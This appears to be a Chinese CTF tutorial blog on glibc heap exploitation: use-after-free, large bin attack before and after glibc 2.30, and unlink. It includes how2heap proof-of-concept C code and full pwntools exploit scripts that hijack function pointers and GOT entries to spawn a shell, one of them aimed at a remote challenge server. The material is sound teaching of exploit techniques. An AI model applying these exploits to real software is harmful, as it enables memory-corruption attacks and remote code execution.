payload4 = p64(sigreturn_sddr) + (bytes(frame4))

pause()
p.send(payload2 + payload3 + payload4)

p.interactive()

附件

UAF漏洞

漏洞简介

UAF —— Use After Free:其内容如同其名称,free后进行再利用。UAF是堆结构漏洞的一种重要的利用方式。
在程序中,UAF常有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL,然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
    而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

    Dangling Pointer(悬挂指针、悬空指针、迷途指针)是计算机编程中的一个常见且危险的问题,它指的是一个指针仍然保留着之前指向的内存地址,但是这片内存区域可能已经被释放或者不再有效,从而可能导致程序在使用该指针时出现未定义行为。

下面我将通过一道简单的例题展示一下UAF的攻击。

例题分析

题目来源:actf_2019_babyheap(UAF)

拿到题先检查保护信息,然后运行一下。
image
image
这是一道菜单题,没有开启PIE。
然后用ida反编译一下,定位到 main函数。
image-20250617125933275
经过我们的逆向之后,代码是这个样子的。
main函数:
image
menu函数:
image
可以看到该函数调用了system函数,我们再检索一下字符串,发现了/bin/sh
image
由于这道题没有开启PIE,所以system函数的地址和/bin/sh的地址我们就取得了,后续可能会有用。
creat:
image
creat函数先是malloc了一个0x10大小的堆块,然后把用户malloc的堆块的地址和print_context的地址存入该堆块。
print_content:
image
delete:
image
可见delete函数中再free掉堆块之后并没有将指针设置为NULL,说明程序中可能存在UAF漏洞。
show:
image
可以看到,show函数是通过调用函数指针来输出数据的,而这个函数的地址储存在ptr[index][2]处,参数储存在ptr[index][1]处
那么思路就十分明确了。我们可以先创造2个任意大小的堆块(远离0x10即可),然后free掉他们。然后再创建一个0x10(或者0x18)大小的堆块,通过修堆块的内容为binsh_addrsystem_addr然后再执行show(0)就可以了。说的可能有点晦涩难懂,以下是具体解释。
在我们申请两个堆块之后,大致情况如下。
image
然后我们再把这两个堆块free掉,再次申请0x10(0x18)大小的堆块。
此时由于堆管理机制,我们申请得到的struct3就是原来的struct2,content的堆块就是原来的struct1(后入先出),这样我们就可以把原来的content地址改为binsh的地址,print_content的地址改为system的地址,然后再show(0)就能够getshell(struct1的index为0)。
那么具体的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

def create(size, content):
p.sendlineafter('Your choice:', '1')
p.sendlineafter('Please input size:', str(size))
p.sendafter('Please input content: ', content)

def delete(idx):
p.sendlineafter('Your choice:', '2')
p.sendlineafter('Please input list index:', str(idx))

def show(idx):
p.sendlineafter('Your choice:', '3')
p.sendlineafter('Please input list index:', str(idx))

if __name__ == '__main__':
context(log_level='debug' , os = 'linux', arch = 'amd64')
pwnfile = './uaf'
p = process(pwnfile)
elf = ELF(pwnfile)

sys_addr = 0x4007A0
binsh_addr = 0x602010

create(0x100, 'a'*0x100)
create(0x100, 'b'*0x100)
delete(0)
delete(1)
create(0x10, p64(binsh_addr) + p64(sys_addr))
show(0)
p.interactive()

LargeBinAttack

概述

Large bin attack 自然是作用于 Large bin的,该攻击手段适用于目前所有版本的libc(高低版本略有不同)。glibc 2.30是一个分水岭,这个攻击比Unsorted Bin Attack 更为强大,它能实现将一个堆的头地址写入一个任意地址。

Large Bin 基础

基础概念

large bin是一种堆分配的管理机制,是双向链表,用于管理大于某个特定大小阈值的内存块。一般而言,进入large bin的最低字节为0x200(512),但是由于引入了tcache,使得在tcache尚未填满之前的情况下,进入large bin的最低字节为0x410(不含chunk头),所以一般我们设置大堆块都是0x410起步的。

结构

large bin中含有63个链表,而large bins **总体又被分成了6个组,**每个组对应一个区间,且容纳的堆块数量指数型减少,示意图如下

image-20250603031236297

说完组成部分,我们来看链表结构

image-20250603033425604

  1. 在large_bin中的排列顺序是从大到小的顺序,所以越大的chunk越靠前,越小的chunk越靠后,最小的chunk指向main_arena+一定偏移。也就是说,非尾部的fd_nextsize指向的是更小的chunk,非头部的bk_nextsize指向的是更大的chunk

  2. 在相同大小的情况下,按照free的时间进行排序

  3. 只有首堆块的fd_nextsize,bk_nextsize会指向其它大小的堆块,而其后的堆块中fd_nextsize,bk_nextsize无效,通常为0

glibc-2.30之前版本的攻击方式

适用条件

能够**修改释放后的堆的内容,**一般来说是UAF或者堆溢出居多

漏洞点分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// victim是当前即将进入 large bin 的堆块
if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk))
{
// 如果victim的size小于当前链表中某chunk的size
// 将victim插入到该chunk之前,维护nextsize链表
victim->fd_nextsize = bck;
victim->bk_nextsize = bck->bk_nextsize;
bck->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
else
{
// 如果victim的size大于等于链表中所有chunk的size
// 将victim插入到链表尾部
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
// 将bck指向fwd->bk,为后续主链表插入做准备
bck = fwd->bk;
// ...existing code...

我们要利用的就是这个else分支,进入这个else分支的具体条件是 victim的size在large bin链表中找不到相等的节点,且比fwd->nextsize小,比 fwd 大时,才会进入该分支**(如果当前的large bin中没有比vitim大的堆块就会把vitim插入链表头)**。

实例分析

这里使用how2heap的源码演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
setbuf(stdout, NULL);

printf("本文件演示了通过large bin攻击将一个大的unsigned long值写入栈中\n");
printf("实际上,large bin攻击通常是为进一步攻击做准备,比如重写libc中的全局变量global_max_fast以进行后续的fastbin攻击\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

printf("首先来看一下我们想要在栈上重写的目标:\n");
printf("stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
printf("stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x420);
printf("现在,我们在堆上分配第一个large chunk,地址为: %p\n", p1 - 2);

printf("并且分配另一个fastbin块,以避免在free()时下一个large chunk与第一个large chunk合并\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x500);
printf("然后,我们在堆上分配第二个large chunk,地址为: %p\n", p2 - 2);

printf("并且分配另一个fastbin块,以避免在free()时下一个large chunk与第二个large chunk合并\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x500);
printf("最后,我们在堆上分配第三个large chunk,地址为: %p\n", p3 - 2);

printf("并且分配另一个fastbin块,以避免在free()时top chunk与第三个large chunk合并\n\n");
malloc(0x20);

free(p1);
free(p2);
printf("现在我们释放第一个和第二个large chunk,它们将被插入到unsorted bin中:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

malloc(0x90);
printf("现在,我们分配一个比已释放的第一个large chunk更小的块。这会将已释放的第二个large chunk移入large bin freelist,"
"使用已释放的第一个large chunk的一部分进行分配,并将剩余部分重新插入unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));

free(p3);
printf("现在,我们释放第三个large chunk,它将被插入到unsorted bin中:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------
// 现在模拟一个漏洞,可以覆盖已释放的第二个large chunk的“size”以及它的“bk”和“bk_nextsize”指针
printf("现在模拟一个漏洞,可以覆盖已释放的第二个large chunk的“size”以及它的“bk”和“bk_nextsize”指针\n");
printf("基本思路是减小已释放的第二个large chunk的size,强制malloc将已释放的第三个large chunk插入large bin freelist的头部。"
"为了覆盖栈变量,我们将“bk”设置为stack_var1之前16字节,将“bk_nextsize”设置为stack_var2之前32字节\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);// bk
p2[3] = (unsigned long)(&stack_var2 - 4);// bk_nextsize

//------------------------------------

malloc(0x90);

printf("我们再malloc一次,这样已释放的第三个large chunk会被插入large bin freelist。"
"此时目标变量应该已经被重写:\n");

printf("stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
printf("stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

// 完整性检查
assert(stack_var1 != 0);
assert(stack_var2 != 0);

return 0;
}

输出和注释我已经替换成中文了,很好理解

我们直接看最关键的一步,在更改 p2 的信息前下断点,看一看此时的堆布局

这个时候的 p2 是这个样子的

image-20250603041604931

更改之后,我们来看一看

image-20250603041906007

最后再次malloc的时候,就把 p3 链入链表 ,这个时候就有

fwd -> bk -> fd = p3

fwd -> bk_nextszie -> fd_nextsize = p3

所以 **0x7fffffffe390 + 0x10 = 7fffffffe3a0 **的地址和 **7fffffffe388 + 0x20 = 7fffffffe3a8 **的地址会出现p3的地址

image-20250603042322726

至此,我们就完成了这一攻击

glibc-2.30之后版本的攻击方式

glibc2.30之后,对Largebin的插入新增了一个检测

1
2
3
4
5
6
7
8
9
10
11
12
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

在 glibc2.30中,新增了对双向链表完整性的检查,但是通过阅读源码,我们能够发现以下代码

1
2
3
4
5
6
7
8
9
assert (chunk_main_arena (bck->bk));//断言bck->bk属于main_arena
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; //这里的fwd可以粗略的认为是large_bin归属的main_arena
bck = bck->bk; //bck成了main_arena的bk指针指向的堆块(当前链表中最小的那个堆块)
victim->fd_nextsize = fwd->fd; //我们申请的小堆块的fd_nextsize指向了main_arena的fd指针,也就是所在的large_bin的最大的堆块
victim->bk_nextsize = fwd->fd->bk_nextsize;//攻击点,没有检测,所以我们可以伪造大堆块的bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; //先进行右值运算,如果在没有进行修改的情况下,等式可以化简为fwd->fd->bk_nextsize = victim,也就是最大堆块的bk_nextsize指向我们的最小堆块victim
}

这段代码是当插入的堆块 < 当前链表最小的堆块的时候执行的逻辑,我们可以看到,这一步没有对 next_size双向链表合法性的检测,因此我们可以修改bk_nextsize,再次实现向目标地址写入一个堆地址。

实例分析

我们还是用 how2heap的源码进行调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}


*/

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);

// 原始输出保留不变
printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");

printf("====================================================================\n\n");

size_t target = 0; // 目标覆盖地址
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);

// 分配第一个large chunk并设置保护块
size_t *p1 = malloc(0x428); // 分配0x428大小的块(属于large bin)
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18); // 小块保护防止合并
printf("And another chunk to prevent consolidate\n");

// 分配第二个较小的large chunk并设置保护块
size_t *p2 = malloc(0x418); // 分配0x418大小的块(比p1小但同属large bin)
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
size_t *g2 = malloc(0x18); // 小块保护防止合并
printf("Once again, allocate a guard chunk to prevent consolidate\n");

// 释放顺序和large bin插入触发
free(p1); // 先释放较大的块
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438); // 分配更大的块触发p1插入large bin
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

// 释放较小块并进入unsorted bin
free(p2); // 释放较小的块
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
printf("and one chunk in unsorted bin [p2] (%p)\n",p2-2);

// 关键的漏洞利用点 - 修改bk_nextsize指针
p1[3] = (size_t)((&target)-4); // 伪造large bin链表指针
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

// 触发第二次large bin插入并完成地址覆盖
size_t *g4 = malloc(0x438); // 分配大于p2的块触发插入
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

// 验证漏洞利用结果
printf("\n");
printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);

printf("\n");
printf("====================================================================\n\n");

assert((size_t)(p2-2) == target); // 验证地址是否成功覆盖

return 0;
}

我们在70行下断点,查看堆信息

image-20250623021312317

然后,修改p1的bk_nextsize为target_addr - 0x20,再次查看堆块信息

image-20250623021530569

然后申请一个大于p2的堆块,使得p2被链入 largebin,触发 LargeBinAttack 这个时候再来查看堆块的信息,和target的情况。

image-20250623022430152

此时成功将p2的地址写入了 target , 完成了LargeBinAttack

总结

低版本的LargeBinAttack 主要就是没有双向链表合法性的检查。因此,我们可以伪造较小堆块的bk和bk_nextsize,然后大堆块在经过malloc后放进large_bins里,就能通过修改fd和bk的方式完成了任意地址写。之后可以结合其它House of 系列进行攻击

版本来到2.30以后,由于引入了新的检测机制,就只能改最小堆块的bk_nextsize,然后插入更小的堆块来触发攻击。

一、 Unlink介绍

Unlink被定义为一个宏(高版本libc中被定义为了静态函数 unlink_chunk),其源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/* 
* 从双向链表中安全移除节点P的宏
* AV: 分配区指针,用于错误处理
* P: 要移除的节点指针
* BK: 临时存储后驱节点指针
* FD: 临时存储前驱节点指针
*/
#define unlink(AV, P, BK, FD) {
/* 获取P的前驱和后继节点 */
FD = P->fd;
BK = P->bk;

/* 验证前后节点指针的完整性:前驱的后继和后继的前驱必须都指向P */
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

/* 链表完整性验证通过,执行移除操作 */
else {
/* 基本链表操作:让前驱和后继互相指向,跳过P */
FD->bk = BK;
BK->fd = FD;

/* 处理非small bin的特殊情况(large bins可能有额外的大小链表) */
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
/* 检查大小链表的完整性 */
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);

/* 如果后继节点的大小链表指针为空,需要重建 */
if (FD->fd_nextsize == NULL) {
/* 情况1:P是唯一节点,让后继节点自环 */
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
/* 情况2:将P的大小链表指针转移给后继节点 */
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD; /* 更新后节点的后驱 */
P->bk_nextsize->fd_nextsize = FD; /* 更新前节点的前驱 */
}
}
/* 如果后继已有大小链表指针,直接跳过P */
else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

Unlink是堆管理中的一个操作,用于将一个chunk从双向链表中取出。触发unlink,往往是通过free物理相邻的下一块chunk,检查到该chunk的上一块处于free状态(size的prev_inuse为0),就用unlink将上一块脱链后合并。

实现过程如下图。(图画的丑陋,别喷)
image-20250617124739665
当我们执行Unlink将chunk2从双向链表中取出的时候,这个双向链表就变成下面这个样子。
image-20250617124810977

漏洞点: 如果我们可以伪造chunk2,通过控制fd和bk的值,我们似乎就可以实现任意地址写。
但是事情并非如此简单,通过上面给出的源码可以看到,Unlink内部做了许多保护和限制,下面我们就来研究这些保护以及限制。

二、 保护和限制

1. chunksize(P) == prev_size(next_chunk(P))

这部分检测源码如下:

1
2
3
4
5
/* 获取下一个块的指针 */
nextchunk = chunk_at_offset(p, size);
/* 检查下一个块的prev_size是否等于当前块size */
if (__builtin_expect(nextchunk->prev_size != size, 0))
malloc_printerr("corrupted size vs. prev_size");

这部分检测检查的是下一个chunk的prev_size是否和当前堆块的prev_size相等(这是free函数中的检测)

2. fd->bk == P && bk -> fd == P

这部分检测源码如下:

1
2
3
4
5
6
7
8
9
/* 验证前后节点指针的完整性:前驱的后继和后继的前驱必须都指向P */
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

/* 链表完整性验证通过,执行移除操作 */
else {
/* 基本链表操作:让前驱和后继互相指向,跳过P */
FD->bk = BK;
BK->fd = FD;

其实就是在检测这个双向链表的结构是否完整。

3. not small

这部分检测源码如下:

1
2
3
4
5
6
7
8
9
/* 处理非small bin的特殊情况(large bins可能有额外的大小链表) */
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
/* 检查大小链表的完整性 */
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);

简单来说,如果chunk的大小落在largebin范围内,就会进行对nextsize的检查

三、 适用场景及绕过方法

适用场景(一般来说)

  1. 有一个list专门用于存户malloc得到的指针
  2. 存在溢出漏洞

保护绕过(以上面讲的适用场景为例)

保护1
通过溢出,对下一个堆块进行修改,使得下一个堆块的prev_size = fackchcunk的size,prev_inuse = 0
保护2
对于保护2,可以通过构造facck chunk来绕过。
chunk_list存在的时候,我们做以下构造
fack chunk的fd指向 存放当前堆块指针的地址 -0x18(bk指针相对于chunk头的偏移是0x18)
fack chunk的bk指向 存放当前堆块指针的地址 -0x10(fd指针相对于chunk头的偏移是0x10)
这样就实现了 fack_chunk的fd指向的“chunk”的bk指向它,fack_chunk的bk指向的“chunk”指向它,从而成功绕过检测。

1
2
fakeFD -> bk == P1 *(&fakeFD + 0x18) == P1 *fakeFD == &P1 - 0x18
fakeBK -> fd == P1 *(&fakeBK + 0x10) == P1 *fakeBK == &P1 - 0x10

保护3
更简单了,直接不申请largebin大小的chunk即可。

四、 例题分析

题目来源:[2014_hitccon_stkof]
先检查一下保护,看一下文件的ELF信息

可以看到是64位小端序,开启了canary和nx,got表可写
image-20250617125546768

丢到ida里面看一看(为了方便查看,改了一些函数和变量的名字)
main函数
image-20250617124854156

creat函数
image-20250617124903369

delete函数
image-20250617124912467

edit函数
image-20250617124923828

还有一个没什么用的函数,这里就不管他了。
image-20250617124935044

通过分析程序的主要函数,我们发现申请的堆块的指针都在存放在bss段的一个数组(后面叫做list)中,并且edit函数输入的字节数目由我们自己控制,所以存在溢出。所以这道题可以用unlink来做。
image-20250617125023974
前置准备:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def cmd(choicce):
p.sendline(str(choicce).encode())

def add(size):
cmd(1)
p.sendline(str(size).encode())

def edit(index,size,content):
cmd(2)
p.sendline(str(index).encode())
p.sendline(str(size).encode())
p.send(content)

def delete(index):
cmd(3)
p.sendline(str(index).encode())

所以思路就很清晰了:
我们先申请四个堆块(第一个用后续操作,第二个就是我们用来制作fack chunk的,第三个用来触发unlink,堆块四用来chunk防止与top chunk合并)

1
2
3
4
5
6
7
8
9
10
add(0x80)# 1

p.recvuntil(b'OK\n')
add(0x80)# 2

p.recvuntil(b'OK\n')
add(0x80)# 3

p.recvuntil(b'OK\n')
add(0x20)# 4

然后通过edit第二个堆块来制造fack chunk并溢出到第三个堆块,修改他的prev_size和prev_inuse

1
2
3
4
5
6
7
8
9
chunks =  0x602140
aim = chunks + 0x10#chunk2_addr
fd = aim - 0x18
bk = aim - 0x10

#fake_chunk
p.recvuntil(b'OK\n')
payload1 = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
edit(2,0x90,payload1)

此时,chunk2内存是这样的
image-20250617124950177

接着free第三个堆块触发unlink,这个时候原来存放第二个堆块的指针(list[2])的位置就被写入了 &list -0x8
image-20250617124958275

后面我们就可以通过edit堆块2去修改list中存放的值,我们将chunk_list[1]、chunk_list[2]、chunk_list[3]的值分别改为free、puts、atoi的got表地址
然后通过edit堆块1,实现修改free_got为 puts_plt ,然后free堆块2就能泄露puts函数的真实地址,据此算出libc_base
然后edit堆块3将atoi_got改为system的地址,最后输入/bin/sh就能getshell

完整的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context(log_level='debug' , os = 'linux', arch = 'amd64')
pwnfile = './pwn'

elf = ELF(pwnfile)
libc = elf.libc

is_remote = 0

if (remote):
p = remote('node5.buuoj.cn', 26221)
else:
p = process(pwnfile)
def cmd(choicce):
p.sendline(str(choicce).encode())

def add(size):
cmd(1)
p.sendline(str(size).encode())

def edit(index,size,content):
cmd(2)
p.sendline(str(index).encode())
p.sendline(str(size).encode())
p.send(content)

def delete(index):
cmd(3)
p.sendline(str(index).encode())

if __name__ == '__main__':

chunks = 0x602140
aim = chunks + 0x10

fd = aim - 0x18
bk = aim - 0x10

puts_plt = elf.plt['puts']
free_got = elf.got['free']
fread_got = elf.got['fread']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']

add(0x80)#

p.recvuntil(b'OK\n')
add(0x80)#

p.recvuntil(b'OK\n')
add(0x80)#

p.recvuntil(b'OK\n')
add(0x20)#

#gdb.attach(p)
#fake_chunk

p.recvuntil(b'OK\n')
payload1 = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
edit(2,0x90,payload1)

p.recvuntil(b'OK\n')
delete(3)

p.recvuntil(b'OK\n')
payload2 = b'a'*0x10 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit( 2 , len(payload2) , payload2)

p.recvuntil(b'OK\n')
edit( 1 , 0x8 , p64(puts_plt))


p.recvuntil(b'OK\n')
delete(2)

puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
success("puts_addr: " + hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
success("libc_base: " + hex(libc_base))

system_addr = libc_base + libc.symbols['system']
success("system_addr: " + hex(system_addr))

#gdb.attach(p)
p.recvuntil(b'OK\n')
edit( 3 , 0x8 , p64(system_addr))

pause()
p.sendline(b'/bin/sh\x00')
p.interactive()

0%